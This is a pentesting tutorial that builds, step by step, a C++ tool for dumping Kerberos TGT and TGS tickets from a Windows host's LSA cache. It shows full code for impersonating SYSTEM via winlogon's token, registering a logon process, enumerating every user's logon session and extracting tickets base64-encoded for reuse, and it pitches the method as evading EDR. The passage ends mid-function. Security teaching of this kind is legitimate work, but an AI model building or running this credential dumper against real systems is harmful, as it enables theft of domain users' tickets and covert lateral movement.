Flaying three-headed sheep. How to dump Kerberos tickets in C++

Kerberos offers plenty of user authentication features. Its main ‘bricks’ are tickets; in the course of penetration testing, the attacker dumps such tickets from the LSASS process memory at least once. Today, I will explain how this operation can be performed without sophisticated hacker tools.

There are two types of Kerberos tickets: TGT (Ticket Granting Ticket) and TGS (Ticket Granting Service). To dump them, most people use software tools that are well-known both to system admins and cybersecurity professionals. Obfuscating or encrypting, let’s say, Mimikatz every time is time- and labor-consuming, to put it mildly; so, I decided to figure out how to dump tickets from Windows systems without third-party programs.

Kerberos AP

Such things as SSP, SP, and AP have already been discussed in detail in one of my previous articles. Now it’s time to start abusing them for real! Prepare to communicate with a Kerberos AP and retrieve tickets from it. By default, such an AP is always present in the lsass.exe process; accordingly, standard APIs required to work with LSA will be used to interact with it.

kerberos.dll module in lsass.exe
kerberos.dll module in lsass.exe

The list of functions required for this isn’t long:

And yes, you are going to dump Kerberos tickets without any magic, using standard and 100% legitimate API calls. Once I heard that a ticket can be dumped by reading and subsequently parsing LSASS memory. For your information, neither Rubeus nor Mimikatz do it that way. Instead, both tools use the same set of APIs for this purpose.

The result of my research was absolutely breathtaking. If you have local admin rights, you can dump absolutely ALL tickets from the system.

Dumping tickets on behalf of a privileged account
Dumping tickets on behalf of a privileged account

If you don’t have admin rights, then you can only dump tickets from the logon session of the current user.

Tickets of the current user
Tickets of the current user

So, let’s start writing the tool.

Beginning

When a client communicates with the KDC or a service over the Kerberos protocol, a Kerberos AP is used. All session keys, as well as TGT and TGS tickets received by the user, are stored in its cache. But how can Kerberos AP understand that this particular ticket belongs to this particular user; while that one belongs to that user? This is where LUIDs come into play. LUID acts as an identifier of the current session. To view the current LUID, use the klist command.

Current LUID is 0x3e121
Current LUID is 0x3e121

To successfully dump other users’ tickets, you must know their LUIDs. You can enumerate LUIDs using LsaGetLogonSessionData(). This function will be addressed in more detail a bit later, but the point is: if you don’t have admin rights, you won’t be able to dump other people’s tickets; so, such reconnaissance might be pointless.

First, I suggest to create a header file called stuff.h to store all function prototypes, other header files, and some enumerable values for subsequent use.

#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <NTSecAPI.h>
#include <iostream>
#include <sddl.h>
#include <algorithm>
#include <string>
#include <TlHelp32.h>
#include <cstring>
#include <cstdlib>
#include <iomanip>
#include <map>
#define DEBUG
#include <locale>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#pragma comment (lib, "Secur32.lib")
const PCWCHAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
L"hw_authent", L"pre_authent", L"initial", L"renewable",
L"invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiable", L"forwarded", L"forwardable", L"reserved",
};
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LSA_STRING* create_lsa_string(const char* value);
bool EnablePrivilege(PCWSTR privName, bool enable);
DWORD ImpersonateSystem();
BOOL LsaConnect(PHANDLE LsaHandle);
VOID filetimeToTime(const FILETIME* time);
VOID ParseTktFlags(ULONG flags);
DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP);
ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr);

At this point, I am not going to explain the operating principle of each function: all of them will be examined in detail a bit later. I’ve also added a character array for Base64 encoding. A ticket has to be encoded in Base64 because initially it’s represented in the form of binary data that cannot be displayed correctly.

Ticket in its
Ticket in its ‘raw’ form

As you can see, there are plenty of nonprintable characters; only a domain name can be distinguished. You cannot copy these data, paste them onto another computer, and then inject them; so, let’s use Base64 encoding. The encoding function looks as follows:

std::string base64_encode(const unsigned char* bytes_to_encode, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = bytes_to_encode[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
return out;
}

And it uses the above-mentioned character array. Now let’s return to the very beginning of the code: to the main function:

int main() {
setlocale(LC_ALL, "");
ShowAwesomeBanner();
HANDLE LsaHandle = NULL;
BOOL DumpAllTickets = FALSE;
if (LsaConnect(&LsaHandle)) {
#ifdef DEBUG
std::wcout << L"[+] I'll dump all tickets" << std::endl;
#endif
DumpAllTickets = TRUE;
}
else {
#ifdef DEBUG
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
#endif
}
#ifdef DEBUG
std::wcout << L"[+] LsaHandle: " << (unsigned long)LsaHandle << std::endl;
#endif
PLSA_STRING krbname = create_lsa_string("kerberos");
ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
#ifdef DEBUG
std::wcout << L"[+] Kerberos AP: " << kerberosAP << std::endl;
#endif

I am sorry for so many preprocessor directives. Initially, I considered removing them, but then changed my mind. If you don’t need the extensive output (the tool reports everything it does with the system), you can remove the line #define DEBUG from the stuff.h file. But if you want to track the entire flow of calls, leave it.

First of all, you have to set the locale so that the tool can successfully work with any language, be it Russian, Japanese, or the Cappadocian dialect of Greek. Next, the ShowAwesomeBanner() function displays a scary skull (no hacker tool can do without it), and then the LsaConnect() function attempts to connect to LSA.

Ticket extraction specifics

The tool you’re going to write has a distinct feature: Kerberos AP itself will give tickets to you. Importantly, this approach is quite covert. Perhaps, in the course of pentesting audits, you noticed that LSASS cannot be dumped using standard means; while Rubeus.exe dump successfully performs this operation. And you know why?

The problem is that most EDRs (and other newly-minted security tools whose ads cost millions of dollars) monitor primitive functions used to get a handle to the lsass.exe process. For instance, they hook OpenProcess(). More advanced programs use slightly larger numbers of variants, but this is still not enough. You, quite the opposite, are going to interact not with the lsass.exe process, but with the LSA service. Accordingly, you won’t need a handle to this process; instead, you’ll get a handle to the service itself. As a result, your tool will be more difficult-to-detect.

Connecting to LSA

To start interaction with a Kerberos AP, you have to connect to LSA (because LSA manages all authentication packages). I implemented this connection in a separate function called LsaConnect().It takes an address that is initialized with a valid handle on LSA (if it can get it).

// Function call
HANDLE LsaHandle = NULL;
LsaConnect(&LsaHandle);
// Function
BOOL LsaConnect(PHANDLE LsaHandle) {
NTSTATUS status = 0;
wchar_t username[256];
DWORD usernamesize;
#ifdef DEBUG
GetUserName(username, &usernamesize);
std::wcout << L"[?] Current user: " << username << std::endl;
std::wcout << L"[?] Trying to get system" << std::endl;
#endif
if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}
}

The function checks whether you can dump tickets of all users, or have to limit yourself only to the current one. First, you get the name of the user on whose behalf the tool is running, and then the ImpersonateSystem() function is called. It’s quite simple: first, ImpersonateSystem() tries to add the SeDebug and SeImpersonate privileges to the user, and then it gets a handle to the winlogon.exe process (or any other one running on behalf of the system). Finally, using this handle, the function gets the winlogon.exe process token and applies it to the current thread, which enables you to execute code on behalf of the system.

DWORD ImpersonateSystem() {
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeDebugPrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeDebugPrivilege Enabled" << std::endl;
#endif
}
if (!EnablePrivilege(SE_IMPERSONATE_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeImpersonatePrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeImpersonatePrivilege Enabled" << std::endl;
#endif
}
DWORD systemPID = GetWinlogonPid();
if (systemPID == 0) {
#ifdef DEBUG
std::wcout << "[!] Error getting PID to Winlogon process" << std::endl;
#endif
return 1;
}
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPID);
DWORD dw = 0;
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcess failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcessToken failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &newTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] DuplicateTokenEx failed: " << dw << std::endl;
#endif
return 1;
}
ImpersonateLoggedOnUser(newTokenHandle);
return 0;
}

Functions used to interact with tokens have been discussed in the article Privileger: Now you’re in control of privileges in Windows. The point is that GetWinlogonPid() uses CreateToolhelp32Snapshot() to get the list of current processes and then iterates through them to find the process with the desired name (i.e. winlogon.exe).

DWORD GetWinlogonPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
{
return entry.th32ProcessID;
}
}
}
return 0;
}

If any of these operations fails, then you’ll be able to dump only tickets of the current user. ImpersonateSystem()returns 0 if it gains the ability to execute code on behalf of the system and returns -1 if something goes wrong. Therefore, a simple if condition is added.

if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}

First, let’s consider the worst case scenario: you are unable to execute code on behalf of the system. If so, the program gets a regular LSA handle and returns FALSE. A handle to LSA obtained using LsaConnectUntrusted() doesn’t allow you to retrieve other users’ tickets. Literally speaking, the system will treat you as an untrusted process. The returned FALSE is subsequently checked, and the respective flag set indicating whether you can dump tickets from all sessions or not.

if (LsaConnect(&LsaHandle)) {
std::wcout << L"[+] I'll dump all tickets" << std::endl;
DumpAllTickets = TRUE;
}
else {
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
}

If you are more lucky, then, from now on, your code is executed on behalf of the system, and you register the logon process using LsaRegisterLogonProcess(). This function takes the name of the new logon process and some additional information (that isn’t vitally important) and returns a handle to LSA that enables you to retrieve other users’ tickets.

else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}

A handle obtained using the LsaRegisterLogonProcess() function has no restrictions in terms of interaction with LSA. It can be used for any purpose: you actually become a logon process (similar to winlogon.exe). The logon process must have its own unique name so that LSA knows whom it should ‘contact’. LSA can take strings only in the form of a special structure called LSA_STRING. To correctly initialize all elements of this structure, I wrote a special function:

LSA_STRING* create_lsa_string(const char* value)
{
char* buf = new char[100];
LSA_STRING* str = (LSA_STRING*)buf;
str->Length = strlen(value);
str->MaximumLength = str->Length;
str->Buffer = buf + sizeof(LSA_STRING);
memcpy(str->Buffer, value, str->Length);
return str;
}

After creating a name for your logon process, time finally comes to call LsaRegisterLogonProcess(). Note that I made provision for a potential error: after all, you never know what can happen in the system, and it cannot be ruled out that LsaRegisterLogonProcess() fails to register a new logon process. Therefore, if the function call results in an error, you simply return to the above-described scenario with LsaConnectUntrusted(). Of course, in such a case, you won’t be able to dump all tickets.

Done with the connection to LSA. At this point, you only have a valid handle; while your goal is to interact not with LSA, but with the Kerberos AP. Therefore, you need its ID. Each authentication package in the system has its unique number assigned by LSA at the time the package is loaded. By default, the ID of a Kerberos AP on all systems is 2, but it’s better to request its number using a special function.

Getting ID

Now you have to detect a Kerberos AP. I implemented this operation in a separate function called GetKerberosPackage(). Generally speaking, this function can be used to get the ID of any AP since it takes a string that uniquely identifies the target AP.

ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr) {
NTSTATUS status;
ULONG AP = 0;
status = LsaLookupAuthenticationPackage(LsaHandle, &lsastr, &AP);
if (AP == 0) {
std::wcout << L"[-] Error LsaLookupAP: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return AP;
}

In the tool, this function is called as follows:

PLSA_STRING krbname = create_lsa_string("kerberos");
ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);

Everything is quite simple: to get the ID of an authentication package, you use the LsaLookupAuthenticationPackage() function, which takes the LSA handle, as well as the authentication package name. Important: the name must be represented in the form of an LSA_STRING structure.

Enumerating all LUIDs

Finally you’ve got everything that is required: a handle to LSA, a Kerberos authentication package ID, a fervent desire to dump tickets… Now you have to enumerate all logon sessions to be able to dump tickets of other users. In other words, in the course of ‘dumping preparations’, you check whether you can dump tickets of all users (the value of the DumpAllTickets variable should be TRUE; it has been initialized earlier when you tried to get a handle to LSA that enables you to retrieve all users’ tickets). If this is possible, you start enumerating logon sessions; otherwise you dump tickets only from the current session.

if (DumpAllTickets) {
ULONG LogonSessionCount;
PLUID LogonSessionList = NULL;
NTSTATUS status = LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
if (status != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get info about logon sessions: " << LsaNtStatusToWinError(status) << std::endl;
std::wcout << L"[!] Getting current user tickets" << std::endl;
#endif
RevertToSelf();
LsaDeregisterLogonProcess(LsaHandle);
LsaConnectUntrusted(&LsaHandle);
ReceiveLogonInfo(LsaHandle, { 0,0 }, kerberosAP);
}
PSECURITY_LOGON_SESSION_DATA pLogonSessionData = (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));
for (int i = 0; i < LogonSessionCount; i++) {
LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN);
std::wcout << "------------------------------------------------" << std::endl;
std::wcout << "[+] Tickets For: " << pLogonSessionData->LogonDomain.Buffer << L"\" << pLogonSessionData->UserName.Buffer << std::endl;
LUID LogonId = *(LogonSessionList + i);
std::wcout << "\tLogonId:\t" << std::hex << LogonId.HighPart << LogonId.LowPart << std::endl;
LPWSTR sidstr;
ConvertSidToStringSid(pLogonSessionData->Sid, &sidstr);
std::wcout << "\tUserSID:\t" << sidstr << std::endl;
std::wcout << "\tAuthenticationPackage:\t" << pLogonSessionData->AuthenticationPackage.Buffer << std::endl;
std::cout << "\tLogonType:\t" << enumToString[pLogonSessionData->LogonType] << std::endl;
std::wcout << "\tLogonTime:\t"; filetimeToTime((PFILETIME)&pLogonSessionData->LogonTime);
std::wcout << "\tLogonServer:\t" << pLogonSessionData->LogonServer.Buffer << std::endl;
std::wcout << "\tLogonServerDNSDomain:\t" << pLogonSessionData->DnsDomainName.Buffer << std::endl;
std::wcout << "\tUserPrincipalName:\t" << pLogonSessionData->Upn.Buffer << std::endl;
SetConsoleTextAttribute(hConsole, 0x07);
ReceiveLogonInfo(LsaHandle, *(LogonSessionList + i), kerberosAP);
}
LsaFreeReturnBuffer(LogonSessionList);
}
else {
ReceiveLogonInfo(LsaHandle, { 0,0 }, kerberosAP); // dump tickets of the current session
}

You call the LsaEnumerateLogonSessions() function; its prototype is as follows:

NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);
  • LogonSessionCount is the number of logon sessions. For instance, if two users are logged in, then this number will be 2; and 
  • LogonSessionList is an array of LUID values identifying logon sessions.

If you were unable to get LUIDs, then you deregister the logon process and return to the scenario where you dump tickets only from the session of the current user. If the function has successfully done its job, you allocate space for the SECURITY_LOGON_SESSION_DATA structure.

typedef struct _SECURITY_LOGON_SESSION_DATA {
ULONG Size;
LUID LogonId;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
ULONG LogonType;
ULONG Session;
PSID Sid;
LARGE_INTEGER LogonTime;
LSA_UNICODE_STRING LogonServer;
LSA_UNICODE_STRING DnsDomainName;
LSA_UNICODE_STRING Upn;
ULONG UserFlags;
LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
LSA_UNICODE_STRING LogonScript;
LSA_UNICODE_STRING ProfilePath;
LSA_UNICODE_STRING HomeDirectory;
LSA_UNICODE_STRING HomeDirectoryDrive;
LARGE_INTEGER LogoffTime;
LARGE_INTEGER KickOffTime;
LARGE_INTEGER PasswordLastSet;
LARGE_INTEGER PasswordCanChange;
LARGE_INTEGER PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

Using this structure, you can get some more information about a specific logon session. The following basic data can be of interest to you:

  • UserName and LogonDomain – determine the user who owns the logon session (i.e. whose tickets you are dumping);
  • LogonId – session LUID;
  • UserSID – user SID;
  • AuthenticationPackage – AP used for authentication. Only a Kerberos AP is suitable for your purposes;
  • LogonType – there are 13 different logon types in Windows; so, you need to know the logon type used by that particular user;
  • LogonTime – user logon time;
  • LogonServer and LogonServerDNSDomain – server that has performed the authentication (i.e. confirmed that credentials are correct). In the case of Kerberos, this is the KDC; and 
  • UserPrincipalName – user’s UPN.

This structure is received and its data are parsed using a for loop that iterates through all previously retrieved logon session LUIDs.

for (int i = 0; i < LogonSessionCount; i++) {
LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN);
std::wcout << "------------------------------------------------" << std::endl;
std::wcout << "[+] Tickets For: " << pLogonSessionData->LogonDomain.Buffer << L"\" << pLogonSessionData->UserName.Buffer << std::endl;
LUID LogonId = *(LogonSessionList + i);
std::wcout << "\tLogonId:\t" << std::hex << LogonId.HighPart << LogonId.LowPart << std::endl;
LPWSTR sidstr;
ConvertSidToStringSid(pLogonSessionData->Sid, &sidstr);
std::wcout << "\tUserSID:\t" << sidstr << std::endl;
std::wcout << "\tAuthenticationPackage:\t" << pLogonSessionData->AuthenticationPackage.Buffer << std::endl;
std::cout << "\tLogonType:\t" << enumToString[pLogonSessionData->LogonType] << std::endl;
std::wcout << "\tLogonTime:\t"; filetimeToTime((PFILETIME)&pLogonSessionData->LogonTime);
std::wcout << "\tLogonServer:\t" << pLogonSessionData->LogonServer.Buffer << std::endl;
std::wcout << "\tLogonServerDNSDomain:\t" << pLogonSessionData->DnsDomainName.Buffer << std::endl;
std::wcout << "\tUserPrincipalName:\t" << pLogonSessionData->Upn.Buffer << std::endl;
SetConsoleTextAttribute(hConsole, 0x07);
ReceiveLogonInfo(LsaHandle, *(LogonSessionList + i), kerberosAP);
}

Note that SID is stored in the system not as a readable string S-1-5-3-XXX. To convert it into a human-understandable form, the ConvertSidToStringSid() function is used: it takes the SID as a structure of the same name and returns a string. LogonType is also identified by a specific ID; so, you simply create a key-value dictionary and retrieve from it the logon type by its key.

std::map<int, std::string> enumToString = {
{UndefinedLogonType, "UndefinedLogonType"},
{Interactive, "Interactive"},
{Network, "Network"},
{Batch, "Batch"},
{Service, "Service"},
{Proxy, "Proxy"},
{Unlock, "Unlock"},
{NetworkCleartext, "NetworkCleartext"},
{NewCredentials, "NewCredentials"},
{RemoteInteractive, "RemoteInteractive"},
{CachedInteractive, "CachedInteractive"},
{CachedRemoteInteractive, "CachedRemoteInteractive"},
{CachedUnlock, "CachedUnlock"}
};

Another important feature is time. The function returns time as a FILETIME structure.

typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME, *LPFILETIME;

To convert it into ‘regular’ human time, the filetimeToTime function is used:

VOID filetimeToTime(const FILETIME* time) {
SYSTEMTIME st;
FileTimeToSystemTime(time, &st);
std::cout << st.wDay << "." << st.wMonth << "." << st.wYear << " " << st.wHour << ":" << st.wMinute << ":" << st.wSecond << std::endl;
}

It uses the FileTimeToSystemTime function that converts the FILETIME structure into a SYSTEMTIME structure. And this second structure features human-understandable elements that can be displayed.

Voila! You have completed the LUID information collection stage; now it’s time to dump tickets from the logon session. The ReceiveLogonInfo() function is used for this purpose. It takes a handle to LSA, the LUID, and the Kerberos AP number.

ReceiveLogonInfo(LsaHandle, *(LogonSessionList + i), kerberosAP);

If you want to dump tickets of the current session, you can pass {0,0} as the LUID: this value corresponds to the current logon session.

ReceiveLogonInfo(LsaHandle, { 0,0 }, kerberosAP);

Cache analysis

And finally, the heart of the program. The main component that dumps tickets is the ReceiveLogonInfo() function. Its prototype is as follows:

DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP);
  • LsaHandle – handle to LSA obtained using LsaRegisterLogonProcess() or LsaConnectUntrusted();
  • LogonID – LUID of the logon session whose tickets should be dumped; and 
  • kerberosAP – ID of the Kerberos authentication package.

The full code of this function is too long to list it here. Let’s examine it in parts. First, you have to ‘contact’ the Kerberos authentication package to get information about all cached tickets. The LsaCallAuthenticationPackage() function is used for this purpose.

NTSTATUS LsaCallAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] ULONG AuthenticationPackage,
[in] PVOID ProtocolSubmitBuffer,
[in] ULONG SubmitBufferLength,
[out] PVOID *ProtocolReturnBuffer,
[out] PULONG ReturnBufferLength,
[out] PNTSTATUS ProtocolStatus
);

where:

  • LsaHandleLSA handle (what a surprise…);
  • AuthenticationPackage – ID of the package you have called;
  • ProtocolSubmitBuffer – an AP-specific structure that makes it possible to request information from a specific AP. For instance, if you pass the KERB_QUERY_TKT_CACHE_REQUEST structure to a Kerberos AP, it will understand that it must provide information about all cached tickets;
  • SubmitBufferLengthProtocolSubmitBuffer size;
  • ProtocolReturnBuffer – in many ways, interaction with AP is similar to interaction over HTTP. First, a request is sent; then a response is provided. Accordingly, this parameter contains the structure returned by the AP. For instance, KERB_QUERY_TKT_CACHE_RESPONSE;
  • ReturnBufferLengthProtocolReturnBuffer size; and 
  • ProtocolStatus – you are likely aware that GetLastError() can be used to receive all sorts of errors in WinAPI functions. So, the function can return an error that occurred either when it was called or within the Kerberos AP. This parameter contains the error code returned directly by the Kerberos AP. For example, if the function was called successfully, but you have passed an invalid structure, the Kerberos AP will kindly notify you of this using the respective error code that can be retrieved from ProtocolStatus.

Important: depending on how the LSA handle was received, different functions will be called in the Kerberos AP. If the handle was received using LsaConnectUntrusted(), then the LsaApCallPackageUntrusted() function will be called in the AP; if using LsaRegisterLogonProcess(), then LsaApCallPackage()will be called. Prototypes of these functions are quite large and will be examined in detail in future articles (you will learn how to write a fully-functional AP).

But let’s get back to Kerberos. The following structure should be passed to the Kerberos AP to display its cache:

typedef struct _KERB_QUERY_TKT_CACHE_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
} KERB_QUERY_TKT_CACHE_REQUEST, *PKERB_QUERY_TKT_CACHE_REQUEST;

where:

  • MessageType – a special enumerable value that indicates the type of message sent to the AP (i.e. the purpose of your query). You can use KerbQueryTicketCacheMessage; and 
  • LogonId – logon session whose tickets should be displayed.

In response, the Kerberos AP will return a structure called KERB_QUERY_TKT_CACHE_RESPONSE:

typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
ULONG CountOfTickets;
KERB_TICKET_CACHE_INFO Tickets[ANYSIZE_ARRAY];
} KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;

where:

  • MessageType – a special enumerable value equal to KerbQueryTicketCacheMessage;
  • CountOfTickets – the number of tickets associated with the specified logon session; and 
  • Tickets[ANYSIZE_ARRAY] – an array containing information about tickets in the form of a KERB_TICKET_CACHE_INFO structure.
typedef struct _KERB_TICKET_CACHE_INFO {
UNICODE_STRING ServerName;
UNICODE_STRING RealmName;
LARGE_INTEGER StartTime;
LARGE_INTEGER EndTime;
LARGE_INTEGER RenewTime;
LONG EncryptionType;
ULONG TicketFlags;
} KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;

where:

  • ServerName – name of the server the ticket is intended for. For TGT, it’s krbtgt/DOMAIN.COM; for TGS, SPN of the target service;
  • RealmName – a certain scope. In fact, this is a useless parameter, but you still can display it;
  • StartTime, EndTime, and RenewTime – ticket time of receipt, ticket expiry time, and time period during which the ticket can be renewed, respectively. The first two parameters raise no questions; while the last one enables you to request a new ticket on the basis of the existing one. This set of functions is present, for instance, in Rubeus renew;
  • EncryptionType – ticket encryption type. By default, it’s RC4, AES-128, and AES-256; and 
  • TicketFlags – ticket flags (i.e. special values that store information about various ticket features).

Time to request information, and the LsaCallAuthenticationPackage() function is called:

DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP) {
KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = { KerbQueryTicketCacheMessage, LogonId };
PKERB_QUERY_TKT_CACHE_RESPONSE pKerbCacheResponse;
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
ULONG krbQTCacheSizeResponse = 0;
NTSTATUS ProtocolStatus = 0;
NTSTATUS status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP, &kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID*)&pKerbCacheResponse, &krbQTCacheSizeResponse, &ProtocolStatus);
if (status == 0) {
if (ProtocolStatus == 0) {
std::wcout << L"\t[+] Enumerated " << pKerbCacheResponse->CountOfTickets << L" Tickets" << std::endl;

Everything is obvious here: you initialize the structures, call the Kerberos AP, make sure that the function call and the response from the Kerberos AP were successful, and then start parsing the received data. If something suddenly fails at any stage, you deal with the error using LsaNtStatusToWinError().

ULONG Stats = LsaNtStatusToWinError(status);
std::cout << L"[-] KERB_QUERY_TKT_CACHE_REQUEST Func Error: " << Stats << std::endl;

Parsing is quite simple. Time is displayed using the filetimeToTime function. Names of the realm and server are displayed without any parsing: you just call the Buffer element of the UNICODE_STRING structure.

std::wcout << L"\tTICKET [" << i + 1 << L"]:" << std::endl;
std::wcout << L"\t\tServer Name:\t" << pKerbCacheResponse->Tickets[i].ServerName.Buffer << std::endl;
std::wcout << L"\t\tRealm Name:\t" << pKerbCacheResponse->Tickets[i].RealmName.Buffer << std::endl;
std::wcout << L"\t\tStart Time:\t"; filetimeToTime((PFILETIME)&pKerbCacheResponse->Tickets[i].StartTime);
std::wcout << L"\t\tEnd Time:\t"; filetimeToTime((PFILETIME)&pKerbCacheResponse->Tickets[i].EndTime);
std::wcout << L"\t\tRenew Time:\t"; filetimeToTime((PFILETIME)&pKerbCacheResponse->Tickets[i].RenewTime);

In addition, I decided to create a function called containsKrbtgt to determine the type of the current ticket (i.e. TGT or TGS). Its operating principle is as simple as that: the function checks for the presence of the krbtgt string in ServerName.buffer. If such a string exists, then you are dealing with TGT; if not, with TGS.

bool containsKrbtgt(const UNICODE_STRING& unicodeStr) {
std::wstring wstr(unicodeStr.Buffer, unicodeStr.Length / sizeof(WCHAR));
std::string str(wstr.begin(), wstr.end());
std::transform(str.begin(), str.end(), str.begin(), ::tolower);
if (str.find("krbtgt") != std::string::npos) {
return true;
}
else { return false; }
}

The respective output is stored in the following strings:

if (containsKrbtgt(pKerbCacheResponse->Tickets[i].ServerName)) {
std::wcout << L"\t\tTGT:\t TRUE" << std::endl;
}
else {
std::wcout << L"\t\tTGS:\t TRUE" << std::endl;
}

The last two elements of the structure are EncryptionType and Flags. Their parsing is also implemented in separate functions.

std::wcout << L"\t\tEncryptionType:\t" << KerberosEncryptionType(pKerbCacheResponse->Tickets[i].EncryptionType) << std::endl;
std::wcout << L"\t\tTicket Flags:\t"; ParseTktFlags(pKerbCacheResponse->Tickets[i].TicketFlags);

The first one is pretty simple and represents a standard switch-case structure.

PCSTR KerberosEncryptionType(LONG eType)
{
PCSTR type;
switch (eType)
{
case KERB_ETYPE_NULL: type = "null "; break;
case KERB_ETYPE_DES_PLAIN: type = "des_plain "; break;
case KERB_ETYPE_DES_CBC_CRC: type = "des_cbc_crc "; break;
case KERB_ETYPE_DES_CBC_MD4: type = "des_cbc_md4 "; break;
